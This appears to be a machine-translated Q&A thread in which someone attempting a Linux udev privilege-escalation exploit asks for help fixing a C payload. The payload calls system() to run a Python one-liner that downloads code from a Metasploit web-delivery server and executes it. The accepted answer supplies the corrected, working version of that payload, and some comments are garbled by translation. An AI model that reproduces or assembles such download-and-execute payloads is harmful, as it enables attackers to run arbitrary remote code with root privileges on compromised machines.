2016-04-28 72 views
0

我一直在尝试在Linux上进行特权升级攻击,它会以root用户(Linux kernel 2.6 UDEV exploit)的身份运行/ tmp/run中的任何文件。我决定在C中制作我的有效载荷(用于增加挑战)。它只需执行一个python命令(由Metasploit的web交付模块生成)。问题是,当我以字符串的形式输入URL时,http://中的//将注释掉URL的其余部分。如何阻止URL被注释(C)

我不知道那么多的C,所以我不知道如何解决这个问题。这可能看起来有些小声,但我确实无法在任何地方找到答案。

当前代码:

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line 
    return 0; 

} 

是否有解决这一问题的适当办法?

+0

逃生用一个反斜杠(用于转义字符都反斜线所以你会得到的http://// –

+1

是什么让你觉得''//被注释掉线 – duskwuff

+3

难道是?你的文本编辑器的语法突出显示被破坏了吗?因为它不应该将它注释掉,因为它在一个字符串内。 – Krumelur

回答

4

//不在字符串文字内注释。在字符串中使用//不是您发布的问题,而应该通过关闭)完成system函数调用。

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\""); 
    return 0; 
} 
+0

谢谢。这很愚蠢,因为这让我觉得,谢谢。 –